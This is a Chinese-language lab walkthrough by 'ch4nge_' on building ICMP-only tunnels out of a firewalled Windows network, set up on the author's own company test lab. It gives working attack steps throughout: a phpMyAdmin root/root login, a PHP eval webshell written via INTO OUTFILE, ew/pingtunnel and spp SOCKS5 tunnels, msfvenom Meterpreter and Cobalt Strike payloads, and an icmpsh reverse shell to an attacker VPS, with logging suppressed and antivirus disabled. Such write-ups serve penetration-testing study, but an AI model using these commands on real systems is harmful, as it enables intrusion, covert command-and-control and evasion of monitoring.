前言

在后渗透中内网隧道是必不可少的,在能够TCP出网的情况下搭建隧道是最容易的,使用frp即稳定又方便,搭建几级代理都不是问题。但是也有很多TCP不出网的情况,在这种场景下搭建隧道就要另寻门路了。为了方便学习内网隧道技术,我在公司的内网环境搭建了基于windows系统的苛刻的隧道环境,其实很简单,都是windows自带防火墙的一些规则策略。通过各种尝试,终于完成此环境(不知道有没有别的问题),现在把过程分享给大家~路过的师傅都来看看呀,有不正确的地方求教教我^^

1.png

通过环境搭建,满足以下条件:

192.168.3.76(kali)模拟公网vp/s地址,WEB服务器1(windows server2019)模拟公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台WIndows内网服务器,Web服务器可以访问该机器远程桌面。当我们拿到web服务器1的shell之后发现只能使用icmp协议访问公网vp/s(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器进行后续攻击操作。

windows环境:

系统:windows server 2019(WEB服务器)、windows server2008 R2(内网服务器)

WEB服务器1使用phpstudy搭建web服务,防火墙配置策略能访问内网服务器。隧道打通之后可以用来访问内网服务器远程桌面测试。

工具:phpstudy

用来开启web服务,web服务直接使用phpstudy默认功能即可(phpstudy探针+phpmyadmin弱口令)。WEB服务器防火墙入站规则仅开启80端口TCP,用来攻击获取shell。

一、获取WEB服务器shell

1 phpstudy探针得到网站路径

C:/phpStudy/WWW 

55.jpg

2 phpmyadmin弱口令root/root

http://192.168.3.88/phpmyadmin 

通过phpstudy开启的服务,使用弱口令连接phpmyadmin

56.jpg

3 写入webshell

show global variables like '%secure_file_priv%';

NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录 

这里是空值

57.jpg

写入webshell

select '<?php @eval($_POST[ch4nge]);?>' into outfile 'C:/phpStudy/WWW/ch4nge.php'; 

58.jpg

4 蚁剑连接

59.jpg

二、ew+pingtunnel组合建立socks5隧道

ew

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。

https://github.com/idlefire/ew 

pingtunnel

pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel 

1 v/ps-kali执行

./ew_for_linux64 -s rcsocks -l 10080 -e 8898

./pingtunnel -type server 

将8898收到的请求转发至10080端口

60.jpg

61.jpg

2 WEB服务器执行pingtunnel

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1 

62.jpg63.jpg

3 WEB服务器执行ew

ew.exe -s rssocks -d 127.0.0.1 -e 9999 

64.jpg

ew回显OK,隧道已打通!

65.jpg

4 连接代理

使用proxifier设置代理

66.jpg

远程桌面测试

67.jpg

远程桌面测试

68.jpg

69.jpg

70.jpg

三、pingtunnel上线MSF&CS

1 pingtunnel下载链接

注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件

由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密

https://github.com/esrrhs/pingtunnel/releases 

2 v/ps服务端开启

./pingtunnel -type server        ##开启服务器模式 

回显0连接

71.jpg

3 客户端开启

上传客户端

72.jpg

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1


pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1 

73-1.jpg

客户端本地监听9999端口 ,将监听到的连接通过icmpserver发送到Linsten_ip:7777端口

执行后,kali有回显

74.jpg

4 MSF上线

制作木马,木马的回连地址为127.0.0.1:9999,运行上线
MSF

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe 

75.jpg

监听

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j; " 

76.jpg

把木马ch4nge.exe从蚁剑上传到靶机,运行
77.jpg

78.jpg

5 CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1 

建立监听127.0.0.1:9999和192.168.3.76:7777

79.jpg

对ICMP-127的监听生成木马ch4nge2.exe,传到靶机运行

80.jpg

CS监听上线

81.jpg

82.jpg

四、spp搭建socks5隧道

反向代理用于进入目标内网,正向代理可配合远控工具进行上线

功能

支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
支持shadowsock/s插件,spp-shadowsock/s-plugin,spp-shadowsock/s-plugin-android 

1 下载

https://github.com/esrrhs/spp
https://github.com/esrrhs/spp/releases 

2 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0 

83.jpg

3 WEB服务器执行

spp.exe -name "test" -type reverse_socks5_client -server v/ps -fromaddr :8080 -proxyproto tcp -proto ricmp

spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp 

84.jpg

V/PS回显

85.jpg

86.jpg

成功搭建隧道!

4 设置代理

socks5:v/ps:8080

192.168.3.76:8080

87.jpg

远程连接内网服务器

88.jpg

89.jpg

结束!

五、spp上线CS

1 V/PS执行

./spp -type server -proto ricmp -listen 0.0.0.0 

90.jpg

2 WEB服务器执行

spp -name "test" -type proxy_client -server v/ps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

spp -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

# -nolog 1不输出日志,-noprint 1不打印内容
spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1 

91.jpg

3 CS监听上线

建立监听127.0.0.1:8082和192.168.3.76:8081

92.jpg

对spp-127的监听生成木马ch4nge3.exe,传到靶机运行

CS监听上线

93.jpg

V/PS回显

94.jpg

wireshark捕获数据

95.jpg

六、icmpsh反弹shell

0 icmpsh简介

icmpsh 是一个简单的反向 ICMP shell,带有一个 win32 从站和一个 C、Perl 或 Python 中的 POSIX 兼容主站。与其他类似的开源工具相比,它的主要优势在于它不需要管理权限即可在目标机器上运行。

该工具干净、简单且便携。该目标Windows机器上从(客户端)运行,它是用C写的,在Windows受害者机器上运行服务器端,在攻击者机器上的任何平台上运行服务端。

1 下载地址

https://github.com/bdamele/icmpsh 

2 工具安装

如果遇到报错,请看下面的报错解决方法

#下载工具
git clone https://github.com/inquisb/icmpsh.git
#安装依赖
apt-get install python-impacket
#关闭本地ICMP应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1 

3 V/PS-kali运行icmpsh的控制端

python icmpsh_m.py v/ps-ip attack-ip

python icmpsh_m.py 192.168.3.76 192.168.3.88 

96.jpg

4 WEB服务器运行

icmpsh.exe -t 192.168.3.76 

97.jpg

v/ps接收到shell

98.jpg

使用wireshark抓包可以看到数据包都是ICMP协议

99.jpg

5 报错解决

You need to<span> </span>``install``Python Impacket library first

解决:

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install 

如果第三行命令报错

100.jpg

切换普通用户再执行

101.jpg

安装完成后切换用户进行监听

6 局限性

V/PS和WEB服务器必须要能够相互ping通

七、附:隧道场景搭建

windows server 2019环境-icmp出网环境搭建记录

1 WEB服务器环境搭建

设置Windows防火墙策略

1) 启用防火墙

2.png

2) 防火墙高级设置(重点)

(1)设置阻止入站/出站连接

打开高级设置

3.jpg

选择属性

4.jpg

5.jpg

域配置文件、专用配置文件、公用配置文件这三个标签中出站连接设置为阻止,确定

再次查看

6.jpg

(2)禁用全部已启用的入站规则

选择入站规则,按照已启用排序,把启用的规则选中,全部禁用

7.jpg

8.jpg

(3)新建入站规则:允许80端口tcp入站

新建一个web服务,仅TCP的80端口入站

9.jpg

选择端口,下一步

10.jpg

选择tcp,输入特定端口80

11.jpg

默认选择允许连接,下一步

12.jpg

选择专用 公用,下一步

13.jpg

随便命名,完成

14.jpg

(4)新建出站规则:允许ICMP协议出站

禁用全部已启用的出站规则:同样点击出站规则,把启用的全部禁用掉

新建一个基于icmp协议的规则

15.jpg

选择自定义,协议和端口

16.jpg

默认,下一步

17.jpg

协议类型选择icmpv4,其余默认,下一步。"这里可以查看几个协议的协议号"

18.jpg

作用域默认任何IP地址,下一步

19.jpg

选择允许连接,下一步

20.jpg

选择专用、公用,下一步

21.jpg

输入命名,完成

22.jpg


(5)新建出站规则:允许连接内网服务器

开启对内网服务器172.16.5.100所有访问权限。

23.jpg

选择自定义,下一步

24.jpg

默认选择所有程序,下一步

25.jpg

默认,下一步

26.jpg

远程ip地址设置为176.16.5.100

27.jpg

选择允许连接,下一步

28.jpg

选择专用、公用,下一步

29.jpg

30.jpg

(6)新建入站规则:允许远程桌面连接自己

用来对Ptunnel工具测试使用

新建入站规则,选择自定义,下一步

31.jpg

默认,下一步

32.jpg

默认,下一步

33.jpg

这里设置远程ip地址为本地地址(这里没有过多测试,这样设置能达到目的)

34.jpg

默认,允许连接,下一步

35.jpg

选择专用、公用,下一步

36.jpg

命名,完成

37.jpg

3) phpStudy搭建WEB服务

先安装vc9_x86.exe,然后安装phpstudy。路径C:\phpstudy

38.jpg

4) 关闭windows病毒与威胁防护

39.jpg


2 内网服务器环境搭建

1) 开启防火墙

40.jpg

2) 禁用所有开启的入站规则,新建入站规则:仅允许WEB服务器访问

新建规则

41.jpg

选择自定义,下一步

42.jpg

默认所有程序,下一步

43.jpg

默认,下一步

44.jpg

远程IP只写一个172.16.5.60(WEB服务器第二网卡)

45.jpg

默认,下一步

46.jpg

选择专用、公用,下一步

47.jpg

命名,完成

48.jpg

3) 开启允许远程桌面

49.jpg

4) 环境测试

80端口tcp入站情况测试

开启服务后,windows攻击机可以通过ip进行访问web服务

50.jpg

ping测试

windows攻击机不能ping通环境机器

51.jpg

环境机器可以ping通其他机器

52.jpg

环境tcp不出网测试

环境机器无法访问百度的网站(tcp)

53.jpg

只能访问172.16.5.100的服务

54.jpg

八、参考文章&&工具下载

spp参考https://xz.aliyun.com/t/9820#toc-11

pingtunnel参考perng师傅文章

工具下载

链接:https://pan.baidu.com/s/1_O8-1zpno7siXiXiL_B4NQ
提取码:nhxn 

本文作者:ch4nge_